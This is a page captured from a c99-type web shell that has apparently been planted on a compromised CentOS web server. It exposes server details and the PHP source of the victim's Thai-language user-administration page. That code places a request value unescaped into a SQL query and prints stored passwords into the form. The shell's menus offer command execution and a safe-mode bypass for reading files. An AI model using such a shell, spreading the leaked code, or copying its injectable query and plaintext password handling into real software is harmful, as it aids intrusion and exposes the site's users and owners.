Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/admin/ drwxr-xr-x |
Viewing file: Select action/file-type: <?php session_start(); if (session_is_registered("valid_user")) { include("../include/FunctionDB.php"); include("../include/Function.php"); include("admin_menu.php"); ConnectDB(); $sql ="SELECT * FROM user_tb WHERE code='$code'"; $result = mysql_query($sql) or die("error").mysql_error(); $rs = mysql_fetch_array($result); ?> <meta http-equiv="Content-Type" content="text/html; charset=TIS-620"> <link href="../source/style.css" rel="stylesheet" type="text/css"> <style type="text/css"> <!-- .style1 {font-size: 14px} --> </style> <table width="836" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="836"><br> <fieldset> <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_admin.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="adduser.php">เพิ่มข้อมูลผู้ใช้ระบบ</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="UserList.php">ข้อมูลเข้าระบบ</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="PermisionList.php">แสดงระดับการใช้งาน</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">แก้ไข ข้อมูลผู้ใช้งาน</font></legend> <form id="form1" name="form1" method="post" action="Update.php"> <p><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()" width="85" height="22" border="0" /></font></p> <table width="94%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC"> <tr bgcolor="#EEEEEE"> <td height="24" colspan="3" bgcolor="#eeeeee"> </td> </tr> <tr bgcolor="#EEEEEE"> <td width="21%" height="24" bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">username</font></div></td> <td width="1%" bgcolor="#eeeeee"> </td> <td width="78%" bgcolor="#eeeeee"><input name="Username" type="text" id="Username" value="<? echo $rs[Username]?>" size="15" /></td> </tr> <tr bgcolor="#EEEEEE"> <td bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">Old password</font></div></td> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><font color="#003366" size="2" face="Tahoma"> <input name="PasswordR" type="text" id="PasswordR" value="<? echo $rs[PasswordR]?>" size="15" disabled="disabled" /> (<?php echo $rs[Password]?>) </font></td> </tr> <tr bgcolor="#EEEEEE"> <td height="23" bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma"> New password</font></div></td> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><input name="NewPassword" type="text" id="NewPassword" value="<? $rs[NewPassword]?>" size="15" /> <span class="style1"><font color="#FF0000" face="Tahoma">( ภาษาอังกฤษ หรือ 0-9 อย่างน้อย 8 ตัวอักขระ )</font></span></td> </tr> <tr bgcolor="#EEEEEE"> <td rowspan="5" bgcolor="#eeeeee"><div align="center" class="style1"><font face="Tahoma">Priority / ฝ่ายงาน</font></div></td> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><span class="style1"> <input type="radio" name="Priority" <?php if (!(strcmp("$rs[Priority]",9))){echo "checked";} ?> value="9" /> <font face="Tahoma">Guest <input type="radio" name="Priority" <?php if (!(strcmp("$rs[Priority]",15))){echo "checked";} ?> value="15" /> ระบบงานทันตกรรม <input type="radio" name="Priority" <?php if (!(strcmp("$rs[Priority]",17))){echo "checked";} ?> value="17" /> ระบบงานนวดแผนโบราณ <input type="radio" name="Priority" <?php if (!(strcmp("$rs[Priority]",18))){echo "checked";} ?> value="18" /> ระบบงานซ่อมบำรุง </font></span></td> </tr> <tr bgcolor="#EEEEEE"> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><span class="style1"> <input type="radio" name="Priority" <?php if (!(strcmp("$rs[Priority]",1))){echo "checked";} ?> value="1" /> <font face="Tahoma">ผู้ดูแลระบบ</font> <font face="Tahoma"> <input type="radio" name="Priority" value="3" <?php if (!(strcmp("$rs[Priority]",3))){echo "checked";} ?> /> ฝ่ายบริหาร <input type="radio" name="Priority" value="4" <?php if (!(strcmp("$rs[Priority]",4))){echo "checked";} ?> /> ฝ่ายวิจัยฯ <input type="radio" name="Priority" value="5" <?php if (!(strcmp("$rs[Priority]",5))){echo "checked";} ?> /> ฝ่ายพัฒนาบุคลากร</font></span></td> </tr> <tr bgcolor="#EEEEEE"> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><span class="style1"><font face="Tahoma"> <input type="radio" name="Priority" value="6" <?php if (!(strcmp("$rs[Priority]",6))){echo "checked";} ?> /> ฝ่ายวิชาการ <input type="radio" name="Priority" value="7" <?php if (!(strcmp("$rs[Priority]",7))){echo "checked";} ?> /> ฝ่ายกิจการนักศึกษา <input type="radio" name="Priority" value="8" <?php if (!(strcmp("$rs[Priority]",8))){echo "checked";} ?> /> ฝ่ายประกันคุณภาพการศึกษา <input type="radio" name="Priority" value="14" <?php if (!(strcmp("$rs[Priority]",14))){echo "checked";} ?> /> งานการเงินและบุคลากร </font></span></td> </tr> <tr bgcolor="#EEEEEE"> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><span class="style1"><font face="Tahoma"> <input type="radio" name="Priority" value="10"<?php if (!(strcmp("$rs[Priority]",10))){echo "checked";} ?> /> ผู้บริหาร/ผู้อำนวยการ <input type="radio" name="Priority" value="11" <?php if (!(strcmp("$rs[Priority]",11))){echo "checked";} ?> /> ประชาสัมพันธ์ <input type="radio" name="Priority" value="12"<?php if (!(strcmp("$rs[Priority]",12))){echo "checked";} ?> /> แผนงานและพัสดุ <input type="radio" name="Priority" value="13"<?php if (!(strcmp("$rs[Priority]",13))){echo "checked";} ?> /> งานสารบรรณ </font></span></td> </tr> <tr bgcolor="#EEEEEE"> <td bgcolor="#eeeeee"> </td> <td bgcolor="#eeeeee"><span class="style1"><font face="Tahoma"> <input type="radio" name="Priority" value="16"<?php if (!(strcmp("$rs[Priority]",16))){echo "checked";} ?> /> ระบบควบคุมการเงินงบประมาณ </font></span></td> </tr> <tr bgcolor="#C7DED0"> <td colspan="3" bgcolor="#eeeeee"><div align="center"> <input type="hidden" name="PasswordR" value="<? echo $rs[PasswordR]?>" /> <input type="hidden" name="Password" value="<? echo $rs[Password]?>" /> <input type="hidden" name="code" value="<? echo $rs[code]?>" /> <input type="submit" name="Submit3" value=" บันทึก " /> </div></td> </tr> </table> </form> </fieldset><br> <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิก<br> </font></td> </tr> </table> <?php } else { echo"<body bgcolor=\"#CCCCCC\">"; echo"<meta http-equiv=\"refresh\" content=\"3;URL=../logout.php\" target=\"mainFrame\">\n"; echo"<center>"; echo"<br><br><br><b><font face=\"Tahoma\" size=\"4\" color=\"#FF0000\">Please Login</font> </b><br>"; echo"<br><br><font face=\"Tahoma\" size=\"10\" color=\"#000000\"> ERROR 404 PERMISION DENY</font><br>"; echo"<br><font face=\"Tahoma\" size=\"4\" color=\"#000000\"> คุณไม่มีสิทธ์ใช้งาน</font>"; echo"</center>"; echo"</body>"; } ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]-- |